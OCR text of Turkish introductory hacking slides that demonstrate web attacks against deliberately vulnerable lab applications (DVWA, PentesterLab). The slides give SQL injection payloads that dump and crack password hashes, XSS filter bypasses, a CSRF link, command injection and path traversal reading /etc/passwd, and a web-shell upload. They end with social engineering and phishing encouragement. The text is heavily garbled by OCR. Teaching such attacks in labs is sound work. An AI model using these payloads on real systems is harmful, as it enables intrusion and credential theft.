Genel Veri Tercihleri Ag Giincelleme Sertifikalar ) Sistern vekil sunucu ayarlanni kullan
é i (®): Vekil sunucuyu elle ayarla:
u - Baglanu HTTP vekil sunucusu: | 127.0.0.1 ileti;im noktase
. ~ Tam iletigim kurallan igin bu vekil sunucuyu kullan
== \ Firefox tarayicisinin internete nasil baglanacagini ayarlayin i = ) =
= X S5SL vekil sunucusu; | 127.0.0.1 lletisirn noktasi 2080
- - = ETP vekil sunucusu: | 127.0.0.1 lletisim nolktasi: 2080 =
ﬁ Luvenlik Onbellege alinmis web iceri B B
SOCKS sunucusu: | 127.0.0.1 lletisirn noktase 8080+
f) Web icerigi onbelleginiz su anda 3,3 MB disk alani kullamyor
s 2 SOCKS w4 SOCKSw3  [] Uzak DNS
A Otomatik dnbellek yonetimini devre digi birak Vekil sunucu kullanma:
Gelismis
== Onbellegi MB ile siirla localbinsbA2a040-1

wrimdigi web icerigi ve kullama verileri Grnek: wmozilla.org, .com.tr, 192.168.1.0/24
51 cerig g,

Uygulama &nbellediniz su anda 0 bayt disk alani kullaniyor Cietomankxetilsapacyapkndinna URESe

Yenile
~ | Bir site gevrim digi kullanim igin veri depolamak istediginde bana bildir

Agagidaki web sitelerinin cevrimdisi kullanim icin veri depolamasina izin verilmistir: [] Parola kayitlysa kimlik dogrulama isteme

| Tamam | | Vazrgeg | 1 Yardim
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BDosya: Dizen Gorondm Gegniis Zer';m'!er_i Arsclar Yardim

) Baglaniyor... X G E’ Burp Suite Free Edition v1.7.03 - Temporary Project A [m} x .
(_ gurelahmetccm,t‘ Burp Intruder Repeater Window Help ——
B | [Tafget-M Spider T Scanner Thm.lder TRepeater TSequenoer TDeouder T('.mwer TE:dencler T Project options TUseertions T.Nerts] .
_[tececn ] e vistory | websockets nistory | Options | O
#| Reguest to http:/fwww gurelahmet.com:30 [108.232.220.231]
[ - ] =
[ Forward J [ Drop J Action | Comment th n |
F@ Params | Headers | Hex
GET / HTITP/L.1 &
Host: www.gurelalmet. com -
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:45.0) Gecko /20100101 Firefox/45.0
Accept: text/html,application/xhtmltzml,application/xmnl,;gq=0.9,*/*;q=0_8
Accept-Language: tr-TR, tr;q=0 8, ,en-US;g=0.5,en;q=0_3
Accept-Encoding: gzip, deflate
Cookie: wfvt_C2571693468=5890eacdoE984
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
gurelahmet.com
-
[*|
i 0 matches |

www.gurelahmet.com bekleniyor...
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Bazi Web Aciklar :

1- SQL Injection

2- XSS ( Reflected,Sotered,DOM )

3- Cross Site Request Forgery (CSRF)
4- Command Injection

5- File Inclusion

6- File Upload
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SQL Injectiondan Once SQL Nedir ve SQL Sorgulari nasil yazilir?

1- SELECT * FROM tablo;

2- SELECT * FROM tablo WHERE id < "25" ORDER BY id LIMIT 0, 10;

3- SELECT * FROM tablo1

WHERE id = ( SELECT mesaj_no FROM tablo2 WHERE mesaj_id ="1");
4- SELECT * FROM tablo1 UNION SELECT * FROM tablo2;

5- INSERT INTO tablom (isim, yas, email)

VALUES("Ahmet","24" "info@gurelahmet.com");
s



mailto:info@gurelahmet.com
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SQL Injection Tespiti: (‘ ya da “ ) hata aliyorsak tek ve cift tirnak hangisi
oldugunu tespit edip ona sqli ataklari gergeklestirebiliriz.

Sqli en tehlikeli web agiklarindandir.Direk veritabanina erisim saglandigi icin
veriler calinabilir,silinebilir,degistirebilir.

Manuel olarak SQL bilginize gore tablo ismlerine, veritabani ismine kolon
sayllarina,versiyon bilgisine,username password bilgilerine vb bir ¢ok bilgiye
ulasabilirsiniz.

Bu acigin bulundugunu bildiginiz sistemlerde Sqglmap araci ile bir ¢ok iglemi
otomize olarak gerceklestirebilirsiniz. Tabi mantigini anlamak igin manueli

ogrenmenizi tavsiye ederiz :))
s



. = . ] Tt
Tum Kayitlan Listeleme : 1' or '1'="1
Damn Vulnerable Web App (DVWA) v1.8 :: Vulnerability: SQL Injection — Mozilla Firefox --
Damn Vulnerable VW... X EE:'
L 127.0.0.1/dvwalvulnerabilities/sgli/7id=1"+or+'1'%3D'1 &Submit=Subm ~ C A, Search Ww B @ 4+ A O

[EMost Visited~ [ElGoogle ® Exploit-DB # The Python Tutorial —.. [ _]Adli Bilisim Seminerler...

— | Vulnerability: SQL Injection

Instructions |

User ID:

Setup |

[ orr=1 | [ submit

Brute Force S L [ R
First nams: admin
* Surname: admin

Command Execution

CSRF

I At aes*Llt=*1
First name: Gordon
Surrnams: Brown

Insecure CAPTCHA

File Inclusion

First name: Hack
Surname: Me

SQL Injection (Blind)

Thi: 712 mes "1'=T1
First nam=: Pablo
Surname: Picasso

Upload

HSE reflected

KES stored el Tk PR [ e e
First name: Bob

Surname: Smith

|
|
|
|
I ID: 1' er '1'="'1
|
|
|
|

DVWA Security |

PHP Info |
pm— | More info

Logout |

Username: admin
Security Lewvel: low
FHFIDS: disabled

Wiew Source Wiew Help




Veritabanindaki Kolon Sayisinin Tespiti : 1' UNION SELECT 1,2 #

Home

Instructions

Setap

Brut= Force

Command Execution

CSRF

Insecure CAPTCHA

File Inclusion

SQL Imjection [(Blind)

Upload

HES reflected

K55S stared

DWWES, Security

PHF Info

Albout

Logout

Usermnams: admin
Security Level: low
PHFIDS: disabled

Vulnerability: SQL Injection

User ID:

|1 uMIOM SELECT 1,Z2# | Submit

ID: 1' UMIONM SELECT 1, 2%
First nam=: =cdmin
Surrnam=: =@dmin

ID: 1' UNIOM SELECT 1, 2%
First nam=: 1
Surnams: 2

More info

“Wiew Source

Wiew Help




Veritabaninin Versiyon Bilgisi : 1' UNION SELECT version(),2 #

e | Vulnerability: SQL Injection
Instructions | User ID:
Setup | ¥

| | | Submit |

Brute Force

ID: 1' UMNIOM SELECT wersionll,2 #
Command Execution First mnam=: gdmln

Surname: admin
CSRF :

ID: 1' UMIOM SELECT wersionl ], 2 #

First name:

|

|

|
INsecure CAPTCHA |
| Surnam=: 2
i
|
|
|
|
|

File Inclusion

=

SOL Injection (Blind)

More info

Upload

KSS reflected

MSS stored

D VWA Security |

PHP Info |

Albhout |

Logout |

Usermnam=a: admin
Security Lewvel: low
FPHFIDS: disabkled

Wiew Source Wiew Help




Veritabaninin isim Bilgisi : 1' UNION SELECT database(),2 #

e | Vulnerability: SQL Injection
Instructions | User ID:
Setip | ) o

|2 UMIoN SELECT databas | | Submit

E L R ID: 1' UNION SELECT databassi)

First name: admin
Surnam=: admin

=2 #

Command Execution

CSRF

ID: 1' WUNION SELECT database(),2 #
First name:

| Surname=: 2

Insecure CAPTCHA

File Inclusion

SQL Injection (Blind) More info

Up oz

KSS refleacted

MSS stored

DVVS Security |

FPHF Info |

About |

Logout |

Usernams=: admin
Security Level: low
FHFIDS: disabled

“Wiew Source “Wiew Help




Tablolarin Belirlenmesi : 1 UNION SELECT table_name,2
FROM information_schema.tables WHERE table_schema = ‘dvwa' #

e | Vulnerability: SQL Injection

Instructions | User ID:
Setup |

| || submit |
Brute Force ID: 1' UMION SELECT table _nams, 2 FROM information_schema. tables WHERE table_schema =| 'dwwa'
e e S R e First mnamsa: aclm:l_n

Surnam=: admin
CSRF . g

ID: 1' UMIOM SELECT table rname, 2 FROM information_schema. tables WHERE table schema =| 'dwwa!’
Insecure CAPTCHA First nam=: gusstbook

Surnam=: 2

ID: 1' UNMION SELECT table _nam=, 2 FROM informaticorn_schema. takbles WHERE table_schema =| 'dwwa'

First rmnams: users
Surnam=: 2

S0OL Injection (Blind)

Upload

HSS reflected More info

|
|
|
|
File Inclusion |
|
|
|
|
XSS stored |

DVVUS Security |

PHF Info |

About |

Logout |

Usermnamea: admin
Security Lewel: low
PHPIDS: disabled

“Wiew Source “Wiew Help




Tablolarin Kolonlarinin Belirlenmesi : 1 UNION SELECT column_name,2 FROM
information_schema.columns WHERE table_schema='dvwa' AND table _name='users' #

Vulnerability: SQL Injection

Home |

INnstructions | User ID:

Setup |

f | [ Submit

EBrute Force

ID: 1 UNION SELECT column_name, 2 FROM information schema. columns WHERE table schems:="dwwa® AND table name='users®
First nmame: admn

Command Execution =
Surname: admin

CSRF
Imsecure CAPTCHA

ID: 1 UNION SELECT column_name, 2 FROM information_schema. columns WHERE table schems="dwwa® AND table name="users’
First mame: user_id
Surname: 2

File Inclusicn |
| | ID: 1" UNION SELECT columm_nams, 2 FROM informatiorn_schemas. columns WHERE table schems="dwwa®' AND table_name='users’

First name: first name
Surnam=: 2

SQL Imjection (Blind)
Upload
55 reflected

ID: 1' UNION SELECT column_name,? FROM information_schema. columns WHERE table_schemse'dwwa® AND table_name="users’
First name: last_name
Surnams: 2

ID: 1' UNION SELECT column_name,? FROM information_schema. columns WHERE table_schemss='dwwa® AND table_name='users’
First mame: user
Surnams: 2

HS5S stored

D Vs, 5 i < :

EECEIY | ID: 1' UNION SELECT column_name, 2 FROM information_schema. columns WHERE table_schems:="dwwa' AND table_name='users’

FHF Info | First name: password
Surname: 2

About
l ID: 1 UNION SELECT column_name,2 FROM information_schema. columns WHERE table_schems:="dwwa® AND table_name='users’
First name: avatar
Logout | Surname: 2

More info

Usermame: admin
Security Lewel: low
FPHFIDS: disabled

Wiew Source Wiew Help




Tablolardaki Kolonlari Yazdirma : 1' UNION SELECT username,password FROM users #

S | Vulnerability: SQL Injection

Instructions | User ID:

Setup |

| Submit |
Brute Force ID: 1" UNIONM SELECT user,password FROM users #
First mame: admin

Surname: admin

Command Execution

CSRF

ID: 1" UNION SELECT user,password FROM users #
File Inclusion First mame: admin
ID: 1" UNION SELECT user,password FROM users #

SAL Injection (Blind)
Upload

XSS reflected

XSS stored

First name: gordonb
Surnams: 29931Bcd28cbI8d5T268B53678022e02

| Surname: 5Ff4dcc3b5aa7o5del1dE8327deb882cF 20

ID: 1" UNIOM SELECT user,password FROM users #
DVWA Security | First mame: pablo
PHP Info | Surname: 8dleFdeofsbbeddcadelddeScTlebeab?

About

| ID: 1" UNTION SELECT user,password FROM users #
First mame: smithy
Surname: 5Ffd4dcc3b5aa7e5dBldE327deb882cF oD

Logout |




MD5 Decrypter

5f4dcc3b5aa765d61d8327debB82cfI9

Decrypt

Found : password
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Web Uygulama Guvenligi

Blind SQL Injection :
Veritabani hatalari vermezse ise sqli acikligi olsa bile bunu anlamak zordur.
“yada “ tirnak attigimizda bir hata dondurmeyebilir fakat sqli olabilir.

Buna Blind (kor) Sql Injection denir.
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Blind SQL Injection :

Vulnerability: SQL Injection (Blind)

User ID:

I || submit |

FER 3
First mame: Hack
Surnams: Me

More info

hffp-liwww. securiteam..com/securityreviews/SDPONTP FGE . html
hftp:llen.wikipedia.org/wiki/ SQIl _injection
hittp:/iwww. unixwiz nettechtipsi/sqgl-injection.html
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Blind SQL Injection : 3'AND'1'="1# \Web Uygulama Gijven[igi

Normalde boyle bir girdi igin kayit donmemesi gerekir.Fakat dontyor sqli var.

e | Vulnerability: SQL Injection (Blind)

User ID:

|| Submit |

SQL Injection More info
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XSS (Cross Site Scripting ) :

Cross site scripting (XSS), bilgisayar guvenlik a¢igi. HTML kodlarinin arasina
istemci tabanl kod gomulmesi yoluyla kullanicinin tarayicisinda istenen istemci
tabanli kodun calistirilabilmesi olarak tanimlanir.

Reflected,Stored ve Dom olarak ug¢ cesiti vardir.
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XSS (Cross Site Scripting ) :

Cross site scripting (XSS), bilgisayar guvenlik a¢igi. HTML kodlarinin arasina
istemci tabanl kod gomulmesi yoluyla kullanicinin tarayicisinda istenen istemci
tabanli kodun calistirilabilmesi olarak tanimlanir.

Reflected,Stored ve Dom olarak ug¢ cesiti vardir.
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Reflected XSS :Kullanicinin girilmesi beklenen parametre yerine Javascript kodu
girerek bunu ekrana yansitmasi ile tespit edilebilen XSS c¢esitidir.

) Damn Vulnerable Web A

#m + a9 Be-. 900
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Reflected XSS:

Temel olarak DVWA nin ilk ornegindeki payloadimiz <script>alert(1)</script>
oldu. Ve bir pop-up olarak 1 i tarayicimizda gorduk yani bize yansidi.

Cogu zaman bu kadar kolay olmamakla birlikte farkli yollar yontemler ile
engellenen ,degiskene atilan girdileri bypasslayarak yine pop-up elde edebilinecek
bir cok yol var.Web for Pentester Uzerinden bunlara bakalim,
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Reflected XSS: Kot Karakterleri Kontrol ediyoruz engellenen bir sey varmi diye
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Reflected XSS: Engellenen bir sey olmadigi icin <script>alert(1)</script> deniyoruz.

Webis ' ® ¢ 7Y Penigsipilal « Wbl M

& 0 X | O s : * @Y

PentesierLab.com  Heme

Hella = Tamam
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Reflected XSS: Sayfa kaynaginda nasil gériiniiyor ? .

(o7 Pentesterlab » Web for © 3 ( 47 Pentesterlab »Webfor© x ) & view-source:192.168.17¢ x '

C 1 | ® view-source:192.168.179.133/xss/example 1.php?name= <script>alert(1)</script>

Uygulamalar & Google

2| <html lang="en">

2| <head>

4 <meta charset="utf-8">

5 <title>PentesterLab &raquo; Web for Pentester</title>

& <meta name="viewport" content="width=device-width, initial-scale=1.0">

T <meta name="description™ conten "Web For Pentester"

8| <meta name="author” content="Louis Nyffenegger (louis@pentesterlab.com)”>
s

<!-- Le styles -—>

<link href="/css/bootstrap.css” rel="stylesheest">

<style type="text/css">
body {
padding-top: 6@px;
padding-bottom: 48px;

¥
18| </style»
18 <link href="/css/bootstrap-responsive.css” rel="stylesheet">
20
21|  </head>
2 <body>
24
25/ <div class="navbar navbar-inverse navbar-fixed-top">
26 <div class="navbar-inner">
27 | <div class="container”>
28 <& class="btn btn-navbar" data-toggle="collapse” data-target=".nav-collapse">
20| <span class="icon-bar"></span>
0| con-bar”></span>
2 con-bar”></span>
2 <fa>
a3 <a class="brand” href="https://pentesterlab.com/">Pentesterlab.com</a>
34 <div class="nav-collapse collapse"s
35 <ul class:

<1i elass="active"><a href="/">Home</a></1i>

37| <ful>
38 </div><!--/.nav-collapse -->
38| </div>
40 </div>
# <fdiv>
a2
43| <div class="container”>
P
45
6|
47 | <html>»
EalHello
Ell<scriptralert(1)</script)]
50 «footer>
51 <p>&copy; Pentesterlab 2813</p>
52 </footer>
5
54| </div> <l-- /container -->
55
5
57|  </body>
28| </html>
50)
0



Hacker 101 | Siber Guvenlige Giris

2.0rnekte <script> engellenmis bunun icin <SCRIPT>alert(1)</SCRIPT> ve ya
<sc<script>ript>alert(1)</sc</script>ript> payloadlari ile bypasslayabiliriz.

3.0rnekte <SCRIPT> de engellenmis <sc<script>ript>alert(1)</sc</script>ript> yine galisiyor.

I:‘;J Pentesterlab » Web for - X / ™ Pentesterlab » Webfor© X |
e

':}:,J - X
€ X ‘@ 192.168.179.133/xss/example2. php?name=<sc<script>ript>alert(1) < /sc</scnpt>ript> ﬁ" 60
& Uygulamalar & Google

X
4 192.168.179.133 web sitesinin mesajr: ‘

1

Tamam
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4.Ornekte <script> tagi tamamen engellenmis bunun i¢in <svg onload=alert(1)>
payloadi ile bypasslayabiliriz.

) Bt W X, Pt b X B
€ = X () | () 19216007133 ss/erampled phoTrame= <o Donload=akr{1]> il BB
B Ul 5 Geoge . '
192.168.179.133 web sitesinin mesay:
1
Tamam
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5.0rnekte alert gecen bir payload girdigimizde error vermekte bunun icin alert ile ayni
islevde olan prompt kullanarak <svg onload=prompt(1)> payloadini kullanicaz.

7 Pentesterlab »Web for© X /' &7 Pentesterlab » Webfor© %

= *
- C 1 | ® 192.168.179.133/xss/example5.php?name= <svg%20onload=alert(1)> B @ 9 :
15 Uygulamalar & Google

Pentesterlab » Web for © X /' (O Pentesterlab » Web for 7 X

& X Y | @ 192.168.179.133/xss/example5.phpZname= <svg%20anload=prompt(1)>

w @ 9
i Uygulamalar & Google x
192.168.179.133 web sitesinin mesaji:

1
[ |
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6.0rnekte farkli bir durum var degiskene atilmig girdigimiz payloadlar pop-up olugturmuyor.

=

5 A

“; alert(1);” gibi bir payloe;d girdigimizde pop-up almaktayiz.

{7 Pentesterlab s Webfor: X / () Pentesterlab » Web for © X - i X
& X O} | @ 192.168.179.133 /xss/exampleT.php?name=%27;%20alert(1)%20;%27 ﬁ: e 9 :
22 Uygulamalar & Google x

192.168.179.133 web sitesinin mesaj::
J _

Hello Tamam
@ PentesterLab 2013
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Genel olarak Reflected XSS i taniyarak bir kag bypass yolunu orneklerle inceledik.

Bir cok XSS payloadi bulunmakta ve tiremekte duruma koda gore BugBounty
(Bugcrowd,HackerOne vb.) ile ugrasan arkadaslar kendilerini gelistirip ¢ok farkl
payloadlar bulmaktadir.

Bir cok XSS Payloadina

https://packetstormsecurity.com/files/112152/Cross-Site-Scripting-Payloads.html
adresinden ulasabilirsiniz.



https://packetstormsecurity.com/files/112152/Cross-Site-Scripting-Payloads.html
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Web Uygulama Guvenligi

Stored/Persistent XSS:

Adinda anlasilacagi Uzere kalici XSS turudur.Bu sefer girilen payloadlar anlik
olarak yansimaz bir veritabanina yada baska bir yere kayit edilir daha sonradan
ziyaret edildiginde calisan XSS cesitidir.

Reflected XSS e gore daha tehlikelidir etkilenen nokta bir ziyaretci defteri,duyuru
sayfasi gbi bir yer oldugunda sitede o sayfayi ziyaret eden herkesin etkilenmesi
saglanabilir.
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Stored/Persistent XSS: WEb U UIama Gijvenl

Vulnerability: Stored Cross Site Scripting (XSS)

ow e

Home

Mame * Stored XS5
Setup

|
Instructions |
|
| Message ™

Brute Force
Command Execution | | Sign Guestbook |
CSRF

File Inclusion

Mame: test

S5QL Injection .
Message: This is a test comment.

|

|

|

SAQL Injection (Blind) |
Upload |
XSS reflected |
|

|

|

|

More info

DVWVWA Security
PHP Info
About

Logout

Username: admin View Source | View Help | B

IO et R ke S T O e e
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Stored/Persistent XSS:

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SAL Injection

SAL Injection (Blind)

Upload

XSS reflected

DVWA Security

PHP Info

About

Logout

Username: admin

Web U
D\WA)

ow e

qulama Guvenligi

Vulnerability: Stored Cross Site Scripting (XSS)

Mame *

Message *

| Sign Guestbook |

Mame: test

Message: This is a test comment.

Mame: Stored XSS
Message:

More info

View Source | Wiew Help | I
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Stored/Persistent XSS: Web Uygulama Guven[igi

&~ X | © 192.168.237.129/dvwa/vulnerabilities/xss_s/ w2 OO0 G O L

- . -
1

I ipting (XSS)

Home
Instructions

Marr
Setup

Messag

Brute Force

Command Execution
CSRF

|Sg n Guestbook |

File Inclusion

|

|

|

|

|

|

|

SQL Injection |
SQL Injection (Blind) |
|

|

|

|

|

|

|

Upload
XSS reflected

DVWA Security
PHP Info
About

Logout
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DOM XSS:
XSS Dom ( Document Object Model ) lardan kaynaklanan XSS dir

.Gemelde # isaretinden sonra payload denenmesi ve sayfa yenilendiginde alert
alindiginda DOM XSS var denilen XSS acikhgidir.

Isin teorik bilgisi DOM nesnesinden kaynaklandigdi icin en tehlikeli XSS turi olarak
aniimaktadir.
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DOM XSS: Web Uygulama Guvenligi

# isaretinden sonra <script>alert(1)</script> payloadi girerek sayfay! yeniledigimizde
alert ekrana yansiyacaktir.

ad - 9 X
%@ 0

€ X 0 :(D 192,168,179.133 /xss/example9.php# <script>alert(1);</script>

it Uygulemalar & Google xl
192.168.179.133 web sitesinin mesajr:
1 _

o

©PentesterLab 2013
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CSRF (Cros Site Request Forgery):

CSREF, “siteler arasi istek sahteciligi” anlaminda olup “Cross Site Request
Forgering” deyiminin bas harflerinin kisaltilmis halidir. Saldiri, herhangi bir son
kullanicinin, kullandigi uygulamada istegi diginda islemler yaptirtiimasiyla
gerceklestirilir.

Onemli islemleri GET metodu ile yapilmasi biytik sorun olusturur.Sifre degistirme
uran silme vb islemler.DVWA nin 6rnegindede sifre degistirme islemi GET metodu
ile yapilmakta istedigimiz gibi degistirebiliriz kendi istedigimiz sifre ile sosyal
muhendislik yontemi ile bu zararl linki gonderdigimizde kutbanin sifresini

degistirebiliriz bu ornekte.
s
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CSRF (Cros Site Request Forgery): Web Uygulama Guvenligi

http://192.168.237.129/dvwa/vulnerabilities/csrf/?password_new=ahmet&password conf=ahmet&Change=Change
#

e (& @ 192.168.237.129/dvwa/vulnerabilities/csrf/? password_new=ahmet&password_conf=ahmet&Change==C ge# LR - |

Vulnerability: Cross Site Request Forgery (CSRF)

Home
S Change your admin password:
Setup

MNew pa
Brute Force |
Command Execution Confirm 1 d
S | Change |
File Inclusion

Password Changed

SQL Injection (Blind)
Upload

XS5 reflected

XSS stored

More info

|
|
|
|
|
|
|
SQL Injection |
|
|
|
|
|
|
|
|

: d"f" . View Sourc |V‘iew|—leip|

PHPIDS: disabled
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Command Injection:
Command Injection zafiyeti bulunan uygulama Gzerinden komut calistirmasidir.
Windows icin CMD

Linux i¢in Terminal komutlari ¢calistirilabilir.
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Command Injection:

Burada bir domain ya da IP girdigimizde ping komutu ¢alismakta.

Brute Force

CSRF

File Inclusion

S5AL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

Web Uygulama Guvenligi

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

&4 b

3 packets transmitted,
rtt minfavg/max/mdew =

PING gurelahmet.com {189.232.228.231) 56(84) bytes of data.
es from cpanell.webadam.com (189.232.220.231): i
&4 bytes from cpanell.webadam.com (199.232.220.231):
64 bytes from cpanell.webadam.com (189.232.22@.231):

--- gurelahmet.com ping statistics ---

7 submit

1=138 time=29.@ ms
1=128 time=28.8 ms
1=128 time=29.5 ms

3 received, @% packet loss, time 1598ms
28.818/29.147/29.546/8.301 ms

More info

View Source | View Help |
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cat /etc/passwd girelim ?

Command Injection:

gurelahmet.com &&

Brute Force

| ©

CSRF

File Inclusion

SAQL Injection

SQL Injection (Blind)

Upload

XSS reflected

HSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

I__submii _i

igurelahmet,com && cat fetc/passwd

PING gurelshmet.com {(199.232.226.231) S56{84) bytes of data.

from cpanell.webadam.com (189.232.220.231): mp_seg=1 ttl=128 time=33.2 ms
from cpanell com (1@9.232.220.231) ttl1=128 tim ms
from cpansll com {189, ttl=128 time=25.0 ms

statisktics —--
I‘_Celuel:‘

gurelahmet. com pi =4

blnrvash
sr/sbin: /bin/sh
insSsh

bin/sh

t/bin: feinSsync
fusrfgames: binySsh
s ache/man: /binssh
ar/spool/lpd:
ar/mail

34 bac&uo:!«aﬁf ackups
B:38:Mailing List Manager
irc:x:39:39:dircd: fvar/rund/ircd: fbin/
gnats:x:41:41:Gnats Bug-Reporting System {(admin}
“obcdy'x:ﬁqq24 65534 "ob dy.,nsn:xlstent:;binfsr
llbuu' : i /bindsh

vardlib/gnats: /bin/sh
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File Inclusion:

Saldirganin hedef web sitesine bir dosya dahil etmesine ya da hedef web
sitesinin kendinde olan ama sunmadigi bir dosyayi gorunttleyebilmesine imkan

veren acgikliktir.

Url deki ? parametreyi = ise parametreye deger atamasi yapar.

http://192.168.237.129/dvwalvulnerabilities/fi/?page=include.php
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File Inclusion: Web Uygulama Guvenligi

localhost/dvwalvulnerabilities/fi/?page=../..I..I..I..]..]..]..letc/passwd

€= c @ 192.168.237.129/dvwa/vulnerabilities/fi/fpage=../. L /L f /passwd ﬁ 2 O & «C 3 B

sot= 0-0root/root/bin/bash daemon:: 1:1:daemaonusrsbin/bin/sh bin=:2:2-bin/bin /bin/sh sysx:3:3 sys/dev/bin/sh sync=: 465534 sync/bin/bin/sync games = 5'60'games /usr/games /hin/sh man=6:12 man:fvaricache/man/bin/sh

17 T Apivarispooliipdisbin/sh mail>:8:8: mail:fvarmails/bin/sh news x99 newsivar/spool/news/bin/sh uucp=:10:10.uucpivar/spool/uucprsbin/sh proxy:x:13:13 proxy/bin/binfsh www-data x:33:33: www-data varfwwwibinish

ackup»:34:34-backup fvarbackups/hin/sh listx:38:38:Mailing List Manager /varilist/hin/sh ircx:39:39 ircd Avarfrunfircd /bindsh gnats x:41:41:Gnats Bug-Reporting System (admin):Ararilibfgnats:/bin/sh

obodyx:65534.:65534 nobody/nonexistents/bin/sh libuuid = 100101 Avariibdibuui infsh dhcpx:101:102: /nonexistent/bin/alse syslogx: 1021103 /homessyslog/binffalse klogx:103:104:. /home/klog/bin/ffalse

shd:x:104:65534 Avarfrun/sshd:/usr/shin/nologin msfadmin:=:1000:1000:msfadmin,,./home/msfadmin’/bin/ash bind:>:105:11 3 var/cache/bind/binfalse postiix:=x:106: 115 var/spool/postiixs/binfalse fipx:107:65534: /homefpibinfalse
ostgresx:108:117 :PostgreSQL administrator,, frariib/postgresglibin/bash mysgl=:109:118:MySQL Server, fvarfllib/mysqgli/binfalse tomecats 5 110:65534 Jusr/shareftlomcat5 5 /binfalse distced = 111:65534 /binfalse user=:1001:100 1 just a
ser,111,, /homefuseribin/bash service x:1002:1002:,_ /home/service/bin/bash telnetd x:112:120:/nonexistent/binfalse profipdx:113:65534 varfruni/profipdi/binffalse statd:x:114:655 34 vanfib/nfs/binfalse snmp = 11565534 fvanlib/snmpibinffalse
Varning: Cannot modify header information - headers already sent by (output started at /etc/passwd:12) in lvarhwewidvwa idvwalinclude s/dvwaPage.inc.php on line 324

Varning: Cannot modify header information - headers already sent by (output started at /etc/passwd:12) in lvariwwwidvwa/dvwalinclude s/dvwaPage.inc.php on line 325

Varning: Cannot modify header information - headers already sent by (output started at /etc/passwd:12) in /'varhwwwidvwa/dvwalinc lude s/dvwaPage.inc.php on line 326

Home |

Instructions |
Setup |

Brute Force |
Command Execution
CSRF

S5QL Injection

SAL Injection (Blind)
Upload

XSS reflected

XSS stored
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File Upload:

Web uygulamasinda bulunan dosya yukleme alanlarina zararli bir dosya
yukleyerek bu sistem Uzerinden kritik bilgilere ulasmamizi saglayan acikliktir.

Yukleyeceginiz dosya internette bir cok hazir shell bulunmakta r57.php c99.php
gibi sheller googledan bulunabilir.

Gergek bir sizma testinde kendi kontrol ettiginiz temiz shell ler kullanmanizi
tavsiye ederim.
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File Upload: Web Uygulama Guvenligi

@ 192.168.237.142/upload/example1.php

&« = C G} 192.168.237.142/upload/examplel.php < C |

Upload doneYour file can be found here

hon image:|' Choose FfFel_I ro7.php . o
I i IMon image | Choose File | NO THE ChOsEN
| Send file ‘ : ] \4

| Send file

@ PentesterLab 2013
@ PentesterLab 2013




File Upload:

01-02-2017 10:44:29 Your IP: [ 1 Server IP: [
PHP version: 5.3.3-7+squeezelS cURL: MySQL: MSSQL:

r57 shell 1.50 Safe_mode: Open_basedir: Safe_mode_exec_dir:
Disable functions :

Free space : 242.73 MB Total space: 251.28 MB
Useful:

PostgreSQL:
Safe_mode_include_dir:

omut Uygula: Is

hacker.jpg
r57.php

2 Server urerinde komut calistir ::

:: Dosya Duzenle ::

:: Modify fAccess date(touch) ::
:: Chown/Chgrp/Chmod ::
:: Dizin Veya Dosya Bul

-

:: Dosyalarda ki Metni Bul
:: Metin Ara Dosyalarin icinde Arama Yoluyla ::
:: PHP Kod Degerlendir ::




Hacker 101 | Siber Guvenlige Giris
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File Upload:
Bu ornekte hig bir sinirlama yapilmamigtir.

Bazen dosya uzantisindan png,jpg,jpgeg disinda istenilen formatdan bagka
dosya yuklenmemektedir.

Burp Suite gibi bir proxy yazilimi ile araya girerek Contet-Type : degerini

degistirerek shellinizi yukleyebilrsiniz.
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File Upload: Web Uygulama Guvenligi

B Burp Suite Free Edition v1.7.03 - Temporary Project —

Burp Intruder Repeater Window Help

r

Repeater T Sequencer T Decoder T Comparer T Extender T Project options T U=er options T Alerts
Target Proxy Spider T Scanner T Intruder

| Vulnerabil ity: J__&ﬁien:e;u | HTTP history | WebSockets history | Options |

| C:hDDSE an _image to uploa #7| Regquest to hitp:/192.168.237.129:80
| | Gozat.. | r5¥.png l Forward J l Crop J [ Intercept iz on ] l Action J
j_ L.lpload_j Jﬂﬁw ]' Params T Headers T Hex ]
= = Host: 197 _168.-327.129 &
Uzer—Agent: Mozilla/s,5_ 0 (Windows NHNT 10.0; WOWE4d; rw: 45 _0) Gecko 20100101 Firefox,/ 45_0
“H(Jr19 il]f() Accept: text/html, applicationsxhtmltxmnl  application/xnl;g=0_.9 ,,*/*;g=0_.8

Accept—Language: tr— TR, tr:g=0_.8_ en-US;g=0_5,en;qg=0_3

Accept—Encoding: g=zip, deflace

Referer: http - /1392 _ 168 _ZT37_ 129 /dvwasvulnerabilities/upload/

M Ccookie: security=high; security=high; DPHPSESSID=18fc40dc37509de fdaech 76544403555

HTIWE Connection: close
Thgrade—Insecure—Recuest=s:- 1
Content —Type: malcipart/form—dacta; boundary=----—-——-——""""""""""""—"—"————————— S94518127S568
Conmtent —Lengtch: 558015

————————————————————————————— 5948018127558
Content —Disposition: form—data; name="IMAX FILE SIZE"

lo0oo0o
——————————————————— ————————-S5548181T-79568
| Comtent —Dizposition: form—data; name="uploaded"; filename="r&57._plhp"
| Content —-Type: image prig .;

| Ee G [ S |

0 matches
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Sosyal Muhendislik :

Sistemde her zaman acgiklik zaafiyet olmayabilir fakat en zayif halka insan her
zaman vardir.Bunun igin sosyal muhendislikte anlattigimiz teknik agikliklar
kadar onemlidir.

Sosyal muhendislik, internette insanlarin zaafiyetlerinden faydalanarak cesitli
ikna ve kandirma yontemleriyle istenilen bilgileri elde etmeye calismaktir.
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Sosyal Muhendislik :
Sosyal muhendisligin belirli bir kurali yoktur.

Insanlari telefonla ikna edebilirsiniz.Baska kurumdan yada o kurumun ¢alisani
oldugunuza ikna ederek bir ¢gok kritik bilgiyi elde edebilrisiniz.

Bunu yaparken bir ¢ok senoryo dusunebilirsiniz. Tamamen hayal glcunitze
kalmis.

insanlari gergek olmayan fake siteler ile bilgilerini elde edebilirsiniz.

Zararh bir yazilimi bir sirkete yaymak igin e-posta ile yutturabilirsiniz vs vs ...
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PHISHING (OLTALAMA ) SALDIRILARI :

Phishing "Password" (Sifre) ve "Fishing" (Balik avlamak) s6zcuklerinin
